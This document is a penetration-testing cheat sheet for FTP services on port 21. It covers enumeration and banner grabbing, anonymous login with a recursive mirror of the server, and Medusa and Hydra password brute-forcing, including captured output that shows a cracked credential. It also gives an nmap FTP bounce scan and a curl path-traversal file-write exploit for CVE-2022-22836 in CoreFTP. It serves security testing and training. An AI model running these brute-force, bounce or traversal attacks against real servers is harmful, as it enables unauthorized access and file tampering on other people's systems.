FTP (21)

File Transfer Protocol (FTP) is a standard network protocol used to transfer computer files between a client and server on a computer network. By default, FTP listens on TCP/21 for control commands, while data transfer ports depend on whether active or passive mode is selected.

Note

When interacting with secure FTP configurations, you may need to disable strict TLS verification. For example, in lftp or other clients, use the command: set ssl:verify-certificate no to prevent connection termination on self-signed certificates.

Service Footprinting & Enumeration#

Initial discovery focuses on banner grabbing, evaluating passive/active mode support, checking for anonymous access, and identifying daemon versions for potential CVE matching.

Network Scanning##

The following table outlines standard scanning commands to discover FTP services, retrieve banners, and execute default enumeration scripts.

Command/Link	Description
sudo nmap -sC -sV -p 21 <Target_IP>	Basic service detection and default safe NSE script scan.
sudo nmap -sV -p 21 -sC -A <Target_IP>	Aggressive scan including OS detection, traceroute, and version checking.
nc -nv <Target_IP> 21	Direct banner grabbing using Netcat to identify the underlying server.
telnet <Target_IP> 21	Alternative interactive banner grabbing tool using Telnet.
openssl s_client -connect <Target_IP>:21 -starttls ftp	Connects securely to the FTP control channel using TLS to grab secure banners and certificates.

Example Scan Output###

The default Nmap scan output on an open FTP instance displays banner and permission details:

$ sudo nmap -sC -sV -p 21 192.168.2.142

Starting Nmap 7.91 ( [https://nmap.org](https://nmap.org) ) at 2021-08-10 22:04 EDT
Nmap scan report for 192.168.2.142
Host is up (0.00054s latency).

PORT   STATE SERVICE
21/tcp open  ftp
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--   1 1170     924            31 Mar 28  2001 .banner
| d--x--x--x   2 root     root         1024 Jan 14  2002 bin
| d--x--x--x   2 root     root         1024 Aug 10  1999 etc
| drwxr-srwt   2 1170     924          2048 Jul 19 18:48 incoming [NSE: writeable]
| d--x--x--x   2 root     root         1024 Jan 14  2002 lib
| drwxr-sr-x   2 1170     924          1024 Aug  5  2004 pub
|_Only 6 shown. Use --script-args ftp-anon.maxlist=-1 to see all.

Misconfigurations & Anonymous Access#

FTP servers are frequently configured with anonymous access, allowing anyone to log in with a generic username and gain read or write access to files.

Anonymous Authentication and Operations##

Command/Link	Description
ftp <Target_IP>	Launches the interactive FTP CLI to authenticate using anonymous or ftp as the username.
wget -m --no-passive ftp://anonymous:anonymous@<Target_IP>	Recursively downloads all files available on the remote FTP host.

Command Execution Workflow###

When connected interactively, use the following command structure to recursively list, retrieve, or write contents:

# Connect to the target
ftp 192.168.2.142

# Supply "anonymous" when prompted
Name (192.168.2.142:kali): anonymous
331 Please specify the password.
Password: [Press Enter or type anonymous]
230 Login successful.

# Issue interaction commands
ftp> ls -R
ftp> get Important\Notes.txt
ftp> put testupload.txt

Forcing Passive Mode###

If you run into issues listing directories behind firewalls, enable Passive Mode:

ftp> passive
Passive mode on.

Automated Authentication Attacks#

If anonymous access is restricted, brute-forcing can identify valid credentials across custom wordlists, user pools, and system accounts.

Medusa and Hydra Attack Configurations##

Command/Link	Description
medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h <Target_IP> -M ftp	Brute force FTP on standard port for a single user using Medusa.
medusa -h 127.0.0.1 -u ftpuser -P passwords.txt -M ftp -t 5	Targeted local attack with five parallel login worker threads.
hydra -l admin -P passwords.txt ftp://<Target_IP>	Standard automated login testing with Hydra for user admin.
hydra -L users.txt -P passwords.txt -s 2121 -V <Target_IP> ftp	Verbose (-V) attack against a non-standard port (2121) with username/password lists.

Medusa Terminal Session Capture###

$ medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp

Medusa v2.2 [[http://www.foofus.net](http://www.foofus.net)] (C) JoMo-Kun / Foofus Networks <jmk@foofus.net>
ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 123456 (1 of 14344392 complete)
ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 12345 (2 of 14344392 complete)
ACCOUNT FOUND: [ftp] Host: 10.129.203.7 User: fiona Password: family [SUCCESS]

Protocol Attacks & Exploitation#

FTP Bounce Attack##

An FTP bounce attack is a network security exploit where an attacker leverages an FTP server’s support for active mode transfer (via the PORT command) to send data indirectly to other machines. This bypasses network-level firewalls and allows host port scanning.

Danger

Modern FTP daemons disable remote address binding by default. Success relies heavily on misconfigured active-mode settings on the target server.

The Nmap -b flag automates the execution of an FTP bounce attack:

$ nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2

Starting Nmap 7.80 ( [https://nmap.org](https://nmap.org) ) at 2020-10-27 04:55 EDT
Resolved FTP bounce attack proxy to 10.10.110.213 (10.10.110.213).
Attempting connection to ftp://anonymous:password@10.10.110.213:21
Connected:220 (vsFTPd 3.0.3)
Login credentials accepted by FTP server!
Initiating Bounce Scan at 04:55
FTP command misalignment detected ... correcting.
Completed Bounce Scan at 04:55, 0.54s elapsed (1 total ports)
Nmap scan report for 172.17.0.2
Host is up.

PORT   STATE  SERVICE
80/tcp open http

Latest Vulnerabilities & Exploits#

CVE-2022-22836: CoreFTP Arbitrary File Write (Before Build 727)##

CoreFTP before build 727 is vulnerable to directory traversal and unauthorized file creation through improper HTTP request parsing.

Vulnerability Concept###

The CoreFTP web interface uses HTTP POST requests for uploading files. However, it also improperly processes HTTP PUT requests. By manipulating the path structure with directory traversal sequences, we bypass access controls and write arbitrary files anywhere on the local system.

CoreFTP Exploitation Command###

curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops

• -X PUT: Forces HTTP PUT request.

• --basic -u <username>:<password>: Submits HTTP Basic Authentication credentials.

• --data-binary "PoC.": Specifies raw payload content.

• --path-as-is: Prevents local sanitization of ../ sequences by curl, allowing directory traversal to reach the target web server intact.